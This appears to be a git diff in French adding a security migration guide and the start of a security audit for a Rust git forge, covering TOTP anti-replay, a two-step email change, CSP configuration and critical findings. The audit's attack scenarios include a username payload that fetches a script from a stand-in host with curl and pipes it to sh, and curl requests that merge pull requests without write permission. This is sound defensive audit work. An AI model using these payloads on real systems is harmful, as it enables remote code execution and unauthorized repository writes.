125 + Un utilisateur `John_Doe` peut renvoyer `John_Doe` (no-op), il ne peut pas
126 + renommer en `John_Doe2`.
127 +- **`ADMIN_USERNAME` avec une majuscule ou un `_`** : le chemin de creation de
128 + l'admin par defaut (`ensure_default_admin` → `validate_new_admin_credentials`
129 + → `AdminConfig::validate`) delegue a `Username::parse_allow_reserved`, qui
130 + refuse toujours le mauvais charset. `build()` propage l'erreur : **le boot
131 + echoue**. A noter : ce controle ne s'applique que sur le **chemin de creation**
132 + (aucun admin en base + `ADMIN_PASSWORD` defini). Un deploiement dont l'admin
133 + existe deja n'est pas impacte. Le wizard
134 + `cargo run -p rustwarden-cli -- start-project` valide maintenant cette saisie
135 + au moment de la poser, pour que l'erreur remonte dans le wizard et non au
136 + premier `build()`.
137 +- Le nom reserve `admin` reste accepte pour le bootstrap uniquement ; un
138 + `POST /api/v1/auth/register` avec `admin` est refuse.
139 +
140 +---
141 +
142 +### RFC 0037 — anti-rejeu TOTP persistant (`last_used_step`)
143 +
144 +[docs/rfcs/0037-totp-last-used-step.md](rfcs/0037-totp-last-used-step.md)
145 +
146 +| Sujet | Avant (1.0.1) | Apres (1.1.0) |
147 +|-------|---------------|---------------|
148 +| Anti-rejeu | Garde **in-process** (`HashMap` `OnceLock`, TTL 90 s) | Garde **persistee en base** : `user_totp.last_used_step BIGINT NULL` |
149 +| Multi-replicas | Un code valide rejouable sur un **autre** replica | Ferme : compare-and-set SQL partage |
150 +| Mecanisme | — | `UPDATE user_totp SET last_used_step = $step WHERE user_id = $id AND (last_used_step IS NULL OR last_used_step < $step)`, succes ssi `rows_affected == 1` |
151 +| Pas consomme | — | Le pas **qui a matche** (`matching_totp_step`, skew ±1), jamais `now / 30` |
152 +| Rejeu detecte | — | `Ok(false)` — meme reponse qu'un code invalide, pas d'oracle |
153 +| Couverture | `verify_code` | `verify_code` **et** `verify_and_enable` (le code de setup ne peut plus servir de login immediat) |
154 +| Erreur DB | — | Propagee en `AppError` — jamais fail-open |
155 +| Plafonds 1.0.1 | 15 tentatives / 15 min (somme), 5 par challenge | **Inchanges**, la garde in-process est conservee en defense en profondeur |
156 +
157 +**Actions consommateur**
158 +
159 +```bash
160 +# Patch local du rejeu TOTP a retirer
161 +grep -rn "last_used_step\|replay_guard\|totp_replay" src/
162 +```
163 +
164 +- Jouer la migration (`cargo run --bin migrate` ou `auto_migrate(true)`).
165 +- Verifier la colonne : `\d user_totp` doit lister `last_used_step | bigint | nullable`.
166 +- Retirer tout patch local dupliquant l'anti-rejeu TOTP.
167 +
168 +**Pieges**
169 +
170 +- **Ordre de deploiement : migration d'abord, binaire ensuite — le rayon de
171 + souffle depasse le 2FA.** Le modele SeaORM `user_totp` declare desormais
172 + `last_used_step` ; SeaORM genere une liste de colonnes explicite, donc sur un
173 + schema pre-migration **toute** requete sur `user_totp` echoue (`column
174 + user_totp.last_used_step does not exist`), pas seulement le compare-and-set.
175 + Or `TotpService::is_totp_enabled` est appelee a **chaque** login par
176 + `auth/handlers.rs` : **tous les logins renvoient 500**, y compris ceux des
177 + comptes sans 2FA. Ce n'est donc pas une degradation partielle du 2FA, c'est
178 + une **panne totale de l'authentification** jusqu'a ce que la colonne existe.
179 +- `last_used_step IS NULL` = « aucun pas consomme depuis la migration ». Le
180 + premier code presente apres migration est donc toujours accepte
181 + (grandfathering des lignes existantes) — c'est voulu.
182 +- La colonne est **ajoutee sans defaut** : l'`ALTER TABLE ... ADD COLUMN ... NULL`
183 + ne reecrit pas la table.
184 +
185 +---
186 +
187 +### RFC 0041 — changement d'email en deux temps (remplace la RFC 0038)
188 +
189 +[docs/rfcs/0041-pending-email-changes.md](rfcs/0041-pending-email-changes.md)
190 +
191 +> La [RFC 0038](rfcs/0038-email-change-revalidation.md) est **Superseded** :
192 +> elle n'a jamais ete publiee, il n'y a donc **aucune** note de transition
193 +> v1 → v2. Si vous aviez commence a l'implementer sur une pre-release, la
194 +> colonne de droite ci-dessous est la seule qui compte.
195 +
196 +| Sujet | Avant (1.0.1) | Apres (1.1.0) |
197 +|-------|---------------|---------------|
198 +| `update_profile` + nouvelle adresse | `users.email` ecrit immediatement, `email_verified` conserve a `true` | **Refus** : `AppError::Validation` qui renvoie vers `EmailChangeService` — l'adresse n'est **jamais** ecrite par ce chemin |
199 +| `update_profile` + echo de l'adresse courante | Ecriture silencieuse (valeur identique) | No-op complet, comparaison exacte apres `trim` — les formulaires qui resoumettent tous les champs continuent de marcher |
200 +| Chemin utilisateur | — | `EmailChangeService::request_change(&db, user_id, new_email, current_password)` : **mot de passe courant exige**, ligne `pending_email_changes`, deux mails en file |
201 +| Etat de la base tant que le lien n'est pas suivi | — | **Rien ne bouge** : `users.email` inchange, `email_verified` toujours `true` |
202 +| Confirmation | — | `POST /api/v1/auth/email-change/confirm/{token}` : adresse ecrite **deja verifiee**, **tous les refresh tokens revoques**, demandes de changement de mot de passe invalidees, `audit_logs` `email_changed` |
203 +| Mail vers la nouvelle adresse | Aucun | Lien de **confirmation** |
204 +| Mail vers l'ancienne adresse | Aucun (ou duplique cote UI) | Avis + lien de **signalement** (alerte les admins, ne bloque pas) |
205 +| Chemin admin | `PUT /admin/users/:id` ecrivait l'adresse | `EmailChangeService::admin_force_change` — role `admin` exige, sessions de la cible revoquees, `audit_logs` `email_changed_by_admin` (WARN). `PUT /admin/users/{id}` **ne change plus l'adresse** |
206 +| Echec SMTP / file d'e-mails | Best-effort (l'update reussissait quand meme) | **Fail-loud** : `request_change` echoue, **rien** n'est ecrit — pas de demande dont le lien n'arriverait jamais |
207 +| Limiteur | Budget IP seulement | **3 demandes / heure / utilisateur** (`email_change:{user_id}`) **+** budget IP sur `POST /api/v1/auth/email-change` |
208 +| Logs / audit / hooks | Adresse en clair possible | Adresses masquees (`jo***@ex***`), y compris dans le corps de reponse |
209 +| Faute de frappe sur la nouvelle adresse | Lock-out definitif du compte | **Sans effet** : le lien part dans le vide, la demande expire, le compte n'a jamais bouge |
210 +| Rename username seul | — | Aucun impact sur l'email |
211 +
212 +**Nouvelles routes** (canal machine, `merge_machine_routes` / `auth_api_routes()`)
213 +
214 +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET`
215 +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a
216 +d'effet de bord, donc aucune passerelle anti-phishing qui precharge les liens
217 +ne peut confirmer un changement d'adresse a la place de l'utilisateur.
218 +
219 +| Methode | Chemin | Auth | Effet |
220 +|---|---|---|---|
221 +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande |
222 +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
223 +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement |
224 +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
225 +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement |
226 +
227 +Les pages sont du HTML minimal autoportant produit par le core : ni Askama, ni
228 +`rustwarden-ui`, ni JavaScript, ni ressource externe. Un consommateur qui veut
229 +sa propre presentation monte sa propre route `GET` et poste vers la route
230 +`POST` du core.
231 +
232 +**Actions consommateur**
233 +
234 +```bash
235 +# 1. Appels qui passaient une nouvelle adresse
236 +grep -rn "update_profile" src/
237 +
238 +# 2. Code applicatif devenu redondant
239 +grep -rn "email_verified" src/
240 +grep -rn "account_modified" src/
241 +grep -rn "invalidate_on_email_change" src/
242 +```
243 +
244 +- **Jouer la migration** `m20260919_000011_pending_email_changes`. Elle fait
245 + deux choses :
246 + 1. elle cree la table `pending_email_changes` — nouvelle, aucune donnee
247 + existante n'est touchee, `down` la supprime ;
248 + 2. elle **elargit la contrainte `chk_email_queue_email_type`** de
249 + `email_queue` aux quatre types de la RFC 0041
250 + (`email_change_validation`, `email_change_notice`,
251 + `email_change_reported`, `email_change_by_admin`). Sans cet
252 + elargissement, le premier `INSERT` du flux serait rejete par PostgreSQL
253 + (`23514`). Si vous avez **redefini cette contrainte** dans une migration
254 + a vous, rejouez-la apres celle-ci ou ajoutez-y les quatre valeurs : la
255 + migration part de la liste du schema initial et n'a aucun moyen de
256 + deviner vos ajouts. Le `down` ne retrecit la contrainte que si aucune
257 + ligne d'`email_queue` ne porte encore un de ces types — un rollback ne
258 + detruit pas l'historique des mails envoyes.
259 +- **Rediriger** les appels a `update_profile` qui passent une **nouvelle**
260 + adresse vers `EmailChangeService::request_change`. Un echo de l'adresse
261 + **courante** reste un no-op : rien a changer pour les formulaires qui
262 + resoumettent tous les champs.
263 +- **Chemin administrateur** : tout consommateur qui appelait
264 + `PUT /admin/users/{id}` (ou `update_profile` depuis un handler admin) pour
265 + corriger l'e-mail d'un compte doit basculer sur :
266 +
267 + ```rust
268 + EmailChangeService::new(email_config)
269 + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None)
270 + .await?;
271 + ```
272 +
273 + C'est la **meme capacite** qu'avant, mais explicite et auditee au lieu d'etre
274 + un effet de bord de la mise a jour de profil. Le reste de
275 + `PUT /admin/users/{id}` (username, roles, statut) est inchange.
276 +- **Retirer** tout code applicatif qui, apres un changement d'adresse, remettait
277 + `email_verified` a la main, enqueuait un mail de validation / une alerte
278 + `account_modified`, ou appelait
279 + `PasswordChangeService::invalidate_on_email_change` : le core emet ce dernier
280 + lui-meme dans `confirm_change` et `admin_force_change`, c'est-a-dire aux deux
281 + seuls instants ou l'adresse change reellement.
282 +- **Verifier SMTP et le worker `email_queue` avant le bump** : sans file
283 + fonctionnelle, `request_change` echoue (volontairement) au lieu d'ecrire une
284 + adresse non prouvee.
285 +- Facultatif, purge des demandes expirees — le framework ne la demarre pas,
286 + comme pour les processeurs existants :
287 +
288 + ```rust
289 + PendingEmailChangeCleanupProcessor::new(db.clone()).start();
290 + ```
291 +
292 + Retention : 30 jours apres expiration, constante de code, aucune variable
293 + d'environnement a definir. Sans ce demarrage, une purge opportuniste limitee a
294 + l'utilisateur courant s'execute a chaque nouvelle demande.
295 +- Cote UI : rien d'obligatoire. Le champ e-mail du formulaire de profil ne
296 + produit plus d'erreur tant qu'il renvoie l'adresse courante. Les ecrans dedies
297 + (demande en cours, annulation, double saisie) sont un chantier UI separe.
298 +- Si vous surchargez les templates d'e-mail du framework, exposez les **deux**
299 + liens. Attention au libelle : le lien **ouvre une page de confirmation**, il ne
300 + confirme pas directement.
301 +
302 +**Pieges**
303 +
304 +- **Duree de validite** : le lien utilise `email_validation_expiration_hours`,
305 + le reglage deja en place pour la validation d'adresse. Pas de nouvelle
306 + variable d'environnement.
307 +- **Les sessions tombent a la confirmation**, pas a la demande. L'utilisateur
308 + qui confirme depuis sa nouvelle boite est deconnecte partout et doit se
309 + reconnecter avec la **nouvelle** adresse : dites-le dans l'ecran qui ouvre la
310 + demande, sinon le support recoit des tickets « je suis deconnecte ».
311 +- **Le signalement n'annule rien.** Le lien envoye a l'ancienne adresse alerte
312 + les administrateurs et trace en `audit_logs` (WARN) ; il ne bloque pas le
313 + changement. La boite qui recoit ce lien peut alerter, pas decider — c'est un
314 + choix explicite de la RFC (un attaquant qui controle l'ancienne boite ne doit
315 + pas pouvoir bloquer la reprise de controle legitime).
316 +- **Course sur la meme adresse cible** : si deux comptes demandent la meme
317 + adresse, le second a confirmer recoit un `Validation` neutre (« adresse plus
318 + disponible ») qui ne nomme pas le compte gagnant, et sa ligne n'est **pas**
319 + consommee — son lien refonctionne si l'adresse se libere avant expiration.
320 +- **Recours perdu** : un utilisateur qui a perdu **a la fois** son mot de passe
321 + et l'acces a son adresse courante ne peut plus se debloquer seul ; c'est un
322 + recours administrateur (`admin_force_change`) apres verification d'identite
323 + hors bande.
324 +- **Faute de frappe a l'inscription** : hors perimetre. `register` ecrit
325 + l'adresse saisie sans double verification ; un utilisateur qui se trompe au
326 + signup releve du meme recours administrateur. Si vous voulez fermer ce cas,
327 + ajoutez une double saisie dans **votre** formulaire d'inscription.
328 +- La locale des mails suit le `Locale` de la requete quand l'application monte
329 + l'`I18nService` ; sans extension i18n, le service retombe sur les libelles
330 + anglais embarques.
331 +
332 +---
333 +
334 +### RFC 0039 — `SecurityHeadersConfig`
335 +
336 +[docs/rfcs/0039-security-headers-config.md](rfcs/0039-security-headers-config.md)
337 +
338 +| Sujet | Avant (1.0.1) | Apres (1.1.0) |
339 +|-------|---------------|---------------|
340 +| CSP | Litteral hardcode dans `security_headers_middleware` | `SecurityHeadersConfig.content_security_policy`, configurable |
341 +| COOP / CORP | Jamais emis | **Opt-in** : `Option<Cow<'static, str>>`, `None` par defaut = header non emis |
342 +| Wiring | — | `RustwardenApp::builder().security_headers(cfg)` ; le middleware capture un `Arc` a la construction (pas d'`Extension` : le layer est plus externe que les `Extension(...)`) |
343 +| Valeur par defaut | — | **Bit-identique a 1.0.1** — `'unsafe-inline'` et `'unsafe-eval'` conserves (Alpine.js) |
344 +| Autres headers | `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS | **Inchanges et non configurables** (non-goals de la RFC) |
345 +| Valeur invalide | — | CSP invalide → fallback sur le defaut + warning ; COOP/CORP invalide → header saute + warning. Jamais de panique |
346 +
347 +**Ce que la RFC ne fait PAS** : elle n'ameliore aucune politique par defaut.
348 +Un consommateur qui n'appelle jamais `.security_headers(..)` obtient exactement
349 +les memes en-tetes qu'en 1.0.1. La constante `CSP_WITHOUT_UNSAFE_EVAL` est
350 +fournie mais **non utilisee** par `Default` — le durcissement du defaut est une
351 +**Phase 2** ulterieure, apres migration Alpine CSP
352 +([plans/PLAN_CSP_HTMX.md](plans/PLAN_CSP_HTMX.md)).
353 +
354 +**Actions consommateur**
355 +
356 +```bash
357 +# Overlay CSP local a retirer (ex. gitrust)
358 +grep -rn "SetResponseHeaderLayer" src/
359 +grep -rn "CONTENT_SECURITY_POLICY\|Cross-Origin-Opener-Policy\|content-security-policy" src/
360 +```
361 +
362 +```rust
363 +use rustwarden_core::prelude::*; // SecurityHeadersConfig
364 +
365 +// AVANT — overlay tower-http par-dessus le middleware framework
366 +let router = router.layer(SetResponseHeaderLayer::overriding(
367 + header::CONTENT_SECURITY_POLICY,
368 + HeaderValue::from_static("default-src 'self'; script-src 'self'"),
369 +));
370 +
371 +// APRES — configuration native
372 +let app = RustwardenApp::builder()
373 + .from_env()
374 + .security_headers(
375 + SecurityHeadersConfig {
376 + content_security_policy: "default-src 'self'; script-src 'self'".into(),
377 + ..SecurityHeadersConfig::default()
378 + }
379 + .with_same_origin_isolation(), // COOP + CORP = same-origin
380 + )
381 + .build()
382 + .await?;
383 +```
384 +
385 +**Pieges**
386 +
387 +- Une CSP custom trop stricte casse l'UI `rustwarden-ui` (HTMX + Alpine.js ont
388 + besoin de `'unsafe-inline'` et, pour la build Alpine standard, `'unsafe-eval'`).
389 + A reserver aux apps headless ou a UI maison.
390 +- COOP/CORP `same-origin` cassent les integrations cross-origin (iframes, CDN
391 + d'assets, widgets tiers). Tester avant d'activer.
392 +
393 +---
394 +
395 +### RFC 0040 — `authenticate_user` honore `validation_email_required`
396 +
397 +[docs/rfcs/0040-authenticate-user-email-verified.md](rfcs/0040-authenticate-user-email-verified.md)
398 +
399 +| Sujet | Avant (1.0.1) | Apres (1.1.0) |
400 +|-------|---------------|---------------|
401 +| Ou vit le controle | Handler HTTP `POST /api/v1/auth/login` | `AuthService::authenticate_user` (service) |
402 +| Appel direct au service | **Contourne** la politique | Applique la politique |
403 +| Reglage | `validation_email_required` / alias `validation_email_requise` | **Identique** |
404 +| Defaut | `true` | `true` (fail-closed : erreur de lookup = verification requise) |
405 +| Message d'erreur | Francais | **Identique**, meme `AppError::Validation` (HTTP 400) |
406 +| Ordre des controles | — | Mot de passe **d'abord**, politique email ensuite → pas d'oracle « compte existant non verifie » |
407 +| `verify_credentials` | Mot de passe seul | **Inchange** — primitive mot de passe seul, pas de controle email (utilisee par le re-prompt TOTP) |
408 +| Hook `auth.login_blocked` | Emis par le handler | **Plus emis** (decision v1) — la ligne `audit_logs` est toujours ecrite |
409 +
410 +**Actions consommateur**
411 +
412 +```bash
413 +grep -rn "authenticate_user\|verify_credentials" src/
414 +grep -rn "login_blocked\|on_audit_event" src/
415 +```
416 +
417 +- Retirer tout patch local qui dupliquait le controle `email_verified` apres
418 + `authenticate_user` (double verification = double message d'erreur).
419 +- Si votre SSR appelait `authenticate_user` : il applique desormais la politique.
420 + **Verifier que votre ecran de login affiche le message d'erreur** et propose
421 + « renvoyer l'email de validation ».
422 +- Si vous avez volontairement besoin d'un login sans controle email (outil
423 + interne, migration), utilisez `verify_credentials` **en connaissance de cause**
424 + — c'est un contournement explicite de la politique.
425 +
426 +**Pieges**
427 +
428 +- **Le hook `on_audit_event` / `auth.login_blocked` n'est plus emis** sur ce
429 + chemin. Une alerte SIEM branchee sur ce hook devient silencieuse : basculer la
430 + detection sur la table `audit_logs` (`action = "login_blocked"`).
431 +- **Aucune interaction avec le changement d'email** : la RFC 0041 ecrit la
432 + nouvelle adresse **deja verifiee**, donc un changement d'adresse ne bloque
433 + jamais le login suivant. Le couplage « changement d'adresse => prochain login
434 + refuse » qu'annoncait la RFC 0038 n'existe pas. Le compte reste soumis a cette
435 + politique sur le seul cas qu'elle vise : une inscription dont l'adresse n'a
436 + jamais ete validee.
437 +- Le reglage reste **global** (`app_settings`), pas par utilisateur.
438 +
439 +---
440 +
441 +### Recapitulatif des workarounds consommateur a retirer
442 +
443 +| Workaround | Remplace par |
444 +|------------|--------------|
445 +| Newtype `Username` / `validate_username()` local (gitrust) | `rustwarden_core::types::Username` (prelude) |
446 +| `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` (gitrust) | `builder().security_headers(SecurityHeadersConfig { .. })` |
447 +| Headers COOP/CORP poses a la main | `SecurityHeadersConfig::with_same_origin_isolation()` |
448 +| Ecriture de `users.email` via `update_profile` / `PUT /admin/users/{id}` | `EmailChangeService::request_change` (utilisateur) ou `admin_force_change` (operateur) (RFC 0041) |
449 +| Reset manuel de `email_verified` apres un changement d'adresse | Sans objet : l'adresse est ecrite deja verifiee a la confirmation (RFC 0041) |
450 +| Enqueue applicatif du mail de validation / `account_modified` sur changement d'email | Fait par le core (RFC 0041) |
451 +| Appel applicatif a `PasswordChangeService::invalidate_on_email_change` | Fait par le core dans `confirm_change` / `admin_force_change` (RFC 0041) |
452 +| Double saisie maison pour eviter le lock-out sur faute de frappe | Sans objet : l'adresse courante ne bouge pas tant que la nouvelle n'est pas confirmee (RFC 0041) |
453 +| Re-verification de `email_verified` apres `authenticate_user` | Fait par le service (RFC 0040) |
454 +| Patch local de l'anti-rejeu TOTP | `user_totp.last_used_step` (RFC 0037) |
455 +
456 +---
457 +
458 +## 2026-09-18 — Security 1.0.1 (patch interne)
459 +
460 +Patch de securite **sans nouvelle API `pub`**. Fenetre d'adoption **14 jours** apres
461 +diffusion de `[1.0.1]`. Details techniques : CHANGELOG `[1.0.1]`,
462 +[SERVICES_REFERENCE.md](SERVICES_REFERENCE.md) bandeau 1.0.1 + §4, §6, §12, §15, §18, §19.
463 +
464 +> **Mise a jour 2026-09-19** : les RFC 0036–0040 (charset username,
465 +> `last_used_step` TOTP, re-validation email, headers de securite configurables,
466 +> `email_verified` dans `authenticate_user`) sont depuis passees **Accepted** et
467 +> **livrees** dans `[1.1.0]`, la RFC 0038 ayant ete **remplacee** par la RFC 0041
468 +> (changement d'email en deux temps) avant publication. Voir l'entree
469 +> [2026-09-18 — RFC 0036-0041 (1.1.0)](#2026-09-18--rfc-0036-0041-110) ci-dessus.
470 +
471 +### Breaking operational (pas d'API)
472 +
473 +| Sujet | Avant | Apres 1.0.1 |
474 +|-------|--------|-------------|
475 +| Serve HTTP | `axum::serve(listener, router)` sans ConnectInfo → toutes les cles `auth:unknown` | `RustwardenApp::run()` utilise `into_make_service_with_connect_info::<SocketAddr>()`. Si vous servez le routeur vous-memes, faire de meme. |
476 +| `JWT_SECRET` | Placeholders anglais uniquement | Egalite exacte aussi avec `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` → **refus de boot**. |
477 +| `ADMIN_PASSWORD` | Placeholder / trop faible pouvait casser un redeploiement | `AdminConfig::validate()` seulement si creation d'admin. Sans variable, pas de bootstrap. |
478 +| PostgreSQL compose | Mot de passe par defaut, bind `0.0.0.0` | Copier `database/env.sample` → `database/.env`, `POSTGRES_PASSWORD` **obligatoire** (`:?`), bind `127.0.0.1:5432`. |
479 +| Reset MDP faible | Token consomme puis 400 | Complexite verifiee **avant** hash / `used_at`. |
480 +| Rate limiter plein | 429 sur une **nouvelle** cle | Eviction LRU a 100 000 entrees. |
481 +| Auth middleware | Fail-open lookup user / blacklist / TOTP force | Fail-closed (503 sur erreur TOTP force). |
482 +| TOTP login | Compteur de challenges, pas de rejeu in-process | 15 tentatives / 5 min ; rejeu in-process seulement. |
483 +| `.env.example` CLI | `JWT_SECRET` / `ADMIN_PASSWORD` placeholder | Secrets a definir ; ne plus copier un placeholder. |
484 +
485 +### Workarounds consommateur a retirer
486 +
487 +Apres vendor / `update-project` + rebuild :
488 +
489 +- garde JWT maison dupliquant `AuthConfig` (placeholders FR) ;
490 +- rate-limit login base uniquement sur `HeaderMap` / `X-Forwarded-For` pour compenser `auth:unknown` — le layer JSON lit ConnectInfo ; un POST `/login` **SSR** hors `auth_api_routes()` reste a limiter cote app ;
491 +- `RateLimitService::new()` dans chaque handler de reset / verify email (les services framework partagent un `OnceLock`) ;
492 +- patch local du plafond TOTP ou du rejeu in-process.
493 +
494 +`check_auth_rate_limit(&HeaderMap)` **n'a pas change de signature**. Il ignore toujours ConnectInfo.
495 +
496 +### Dependances
497 +
498 +`rustwarden-core` pin `sea-bae = "0.2.2"` et `validator_derive = "0.20.1"` (drop
499 +`proc-macro-error2` / RUSTSEC-2026-0173). Apres sync des crates, `cargo update`
500 +puis verifier l'absence de `proc-macro-error2` dans `cargo tree -i proc-macro-error2`.
501 +
502 +`validator` reste `0.20` (pas de `0.20.1` sur crates.io pour le crate principal).
7 503
8 504 ---
9 505
A docs/SECURITY_AUDIT.md
+511 -0
@@ -0,0 +1,511 @@
1 +# Audit de sécurité Gitrust — 17 septembre 2026
2 +
3 +Audit statique complet du code et de la configuration, mené du double point de vue
4 +**exploitant de la plateforme** (celui qui déploie) et **utilisateur de la plateforme**
5 +(celui qui s'inscrit et pousse du code).
6 +
7 +| | |
8 +|---|---|
9 +| **Périmètre** | `gitrust-core`, `gitrust-git`, `gitrust-web`, `gitrust-ssh`, `gitrust-ssh-guard`, `gitrust-hooks`, `src/main.rs`, `deployment/`, `docker/`, `database/`, dépendances |
10 +| **Hors périmètre** | `rustwarden-fediverse`, `rustwarden-fediverse-guard` et tous les chemins ActivityPub (features opt-in, exclues sur consigne) |
11 +| **Framework** | `rustwarden-core` lu en seule lecture ; les constats qui en relèvent sont marqués *upstream* |
12 +| **Méthode** | Analyse statique du code source, des gabarits, de la configuration et de l'historique Git. `cargo audit` exécuté. **Aucun test dynamique, aucune exploitation réelle.** |
13 +| **Volume** | ~64 000 lignes de Rust auditées, 9 crates, ~95 constats |
14 +| **Verdict** | **BLOQUANT** — ne pas déployer chez un tiers ni faire de démonstration publique avant traitement des constats critiques |
15 +
16 +---
17 +
18 +## 1. Synthèse exécutive
19 +
20 +### Le verdict en une phrase
21 +
22 +Le **code applicatif est de bonne facture** — les invariants annoncés (pas de `unwrap`, pas
23 +d'`unsafe`, échappement systématique, CSRF réel, aucune injection SQL) sont **tenus dans les
24 +faits**, ce qui est rare. Mais **trois défauts ponctuels ouvrent des chaînes d'attaque
25 +complètes**, et **la configuration livrée est dangereuse en l'état** : des secrets de
26 +production sont versionnés, et le compte administrateur des fichiers de déploiement a pour
27 +mot de passe `password`.
28 +
29 +### Répartition des constats
30 +
31 +| Sévérité | Nombre | Nature |
32 +|---|---|---|
33 +| **CRITIQUE** | 8 | RCE, secrets de production exposés, prise de contrôle administrative |
34 +| **ÉLEVÉE** | 17 | Contournement d'autorisation, XSS stockée, contournement 2FA, CVE pré-authentification |
35 +| **MOYENNE** | 26 | IDOR, énumération, durcissement manquant, déni de service |
36 +| **FAIBLE / INFO** | ~44 | Défense en profondeur, cohérence, hygiène |
37 +
38 +### Les huit constats critiques
39 +
40 +| # | Constat | Localisation | Qui peut l'exploiter |
41 +|---|---|---|---|
42 +| **C-1** | Exécution de code à distance sur l'hôte Gitrust via le nom d'utilisateur interpolé dans un `sh -c` | `ci_worker.rs:380` | Tout utilisateur qui peut s'inscrire |
43 +| **C-2** | Suppression récursive de répertoire arbitraire | `gitrust-hooks/src/lib.rs:221` | Tout utilisateur (via renommage de compte) |
44 +| **C-3** | Fusion de pull request sans aucun droit d'écriture (API REST) | `api/pulls.rs:190` | Tout compte authentifié, sur tout dépôt public |
45 +| **C-4** | `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD` et `SMTP_PASSWORD` de production dans l'historique Git | commits `91ff499`, `20dbf23` | Quiconque obtient un clone |
46 +| **C-5** | Mot de passe PostgreSQL et `OAUTH_ENCRYPTION_KEY` de production versionnés dans `.env.test` | `.env.test:6` et `:60` | Quiconque lit le dépôt |
47 +| **C-6** | `ADMIN_PASSWORD` vaut littéralement `password` | `.env`, `.env.production`, `.env.local`, `deployment/.env_nuage` | Attaquant distant non authentifié |
48 +| **C-7** | Le placeholder `JWT_SECRET` de `.env.example` passe la validation, et `deploy.sh` le promeut en `.env` | `.env.example:99`, `deploy.sh:417` | Toute instance déployée par un tiers selon le chemin nominal |
49 +| **C-8** | Dump SQL de 22 Mo (utilisateurs, jetons, clés SSH) non couvert par `.gitignore` | `Services/gitrust-backup-2026-05-28-2211.sql` | Un seul `git add .` suffit à le publier |
50 +
51 +### Une cause racine explique quatre constats
52 +
53 +**Le nom d'utilisateur n'est validé nulle part** — ni charset, ni format, ni liste de noms
54 +réservés. `register_submit` (`handlers/auth.rs:391`) transmet la chaîne brute du formulaire à
55 +`UserService::create_user`, et la route API du framework ne contrôle que la longueur
56 +(`length(min = 3, max = 64)`). Cette seule lacune produit **C-1** (injection shell), **C-2**
57 +(suppression de répertoire), **X-2** (XSS stockée visant l'administrateur) et une création de
58 +répertoire hors arborescence (`auth.rs:442`).
59 +
60 +Le projet dispose pourtant du bon outil : les newtypes validés `RepoSlug` et `TeamSlug`
61 +(`gitrust-core/src/types.rs`). Il manque simplement l'équivalent pour `username`. **Un
62 +correctif d'une vingtaine de lignes ferme quatre vulnérabilités dont deux critiques** — c'est
63 +de loin le meilleur rapport effort/bénéfice de tout ce rapport.
64 +
65 +---
66 +
67 +## 2. Chaînes d'attaque — le point de vue d'un utilisateur de la plateforme
68 +
69 +Cette section répond directement à votre demande d'analyse « comme utilisateur de la
70 +plateforme ». Chaque scénario est réalisable par un compte ordinaire, sans privilège.
71 +
72 +### Scénario A — De l'inscription à l'exécution de code sur le serveur (C-1)
73 +
74 +**Prérequis** : pouvoir créer un compte. `ALLOW_REGISTRATION=false` par défaut dans
75 +`.env.example`, mais une instance de démonstration l'ouvre par définition.
76 +
77 +1. L'attaquant s'inscrit avec le nom d'utilisateur `` x`curl${IFS}http://evil/x.sh|sh`y ``.
78 + Aucun `/`, `..` ni `\` : les trois seuls filtres existants sont contournés. C'est un nom de
79 + répertoire Linux parfaitement valide, et il est créé sur le disque.
80 +2. Il crée un dépôt, y dépose un `.gitrust-ci.yml` minimal, et pousse.
81 +3. Le worker CI appelle `prepare_workspace`, qui construit :
82 +
83 +```rust
84 +// crates/gitrust-core/src/services/ci_worker.rs:380
85 +let mut cmd = Command::new("sh");
86 +cmd.arg("-c").arg(format!(
87 + "git --git-dir {} archive --format=tar {} | tar -xf - -C {}",
88 + task.disk_path.display(), // contient le username, non échappé
89 + task.commit_sha,
90 + workspace_dir.display(),
91 +))
92 +```
93 +
94 +4. La substitution de commande s'exécute **sur l'hôte Gitrust lui-même**, avec l'identité du
95 + processus de la forge — **avant** tout envoi vers le runner distant. L'isolation prévue par
96 + l'architecture CI est intégralement contournée.
97 +
98 +**Ce que l'attaquant obtient** : lecture de `GIT_REPOS_BASE_PATH` (tous les dépôts privés de
99 +tous les utilisateurs), du `.env` (`DATABASE_URL`, `JWT_SECRET`, `SMTP_PASSWORD`), et de la clé
100 +SSH du runner. Avec le `JWT_SECRET`, il forge un jeton administrateur. **Compromission totale.**
101 +
102 +Le paradoxe est que le bon patron existe déjà dans le même dépôt : `sbom_service.rs:211` fait
103 +exactement la même opération en argv natif, sans shell, et valide `commit_sha` contre
104 +`^[0-9a-f]{40}$`. `ci_worker` aurait dû le recopier.
105 +
106 +### Scénario B — Écrire dans le dépôt de quelqu'un d'autre (C-3)
107 +
108 +**Prérequis** : un compte, et un dépôt public quelconque.
109 +
110 +`resolve_api_repo` (`api/repos.rs:42-86`) ne vérifie **que la lecture** : permission explicite
111 +ou `is_public`. Le contexte qu'il renvoie ne porte aucune notion d'écriture. `merge_pull` s'en
112 +contente et écrit directement dans le dépôt bare :
113 +
114 +```bash
115 +# 1. Ouvrir une PR (create_pull ne demande également que la lecture)
116 +curl -X POST https://forge/api/v1/repos/victime/projet/pulls \
117 + -H "Authorization: token <son_propre_PAT>" \
118 + -d '{"title":"x","source_branch":"une-branche","target_branch":"main"}'
119 +
120 +# 2. La fusionner dans main
121 +curl -X POST https://forge/api/v1/repos/victime/projet/pulls/42/merge \
122 + -H "Authorization: token <son_propre_PAT>"
123 +# → 200 : commit de merge écrit dans refs/heads/main, CI déclenchée
124 +```
125 +
126 +Le handler SSR équivalent fait bien le contrôle (`pull_requests.rs:494`, « only maintainers can
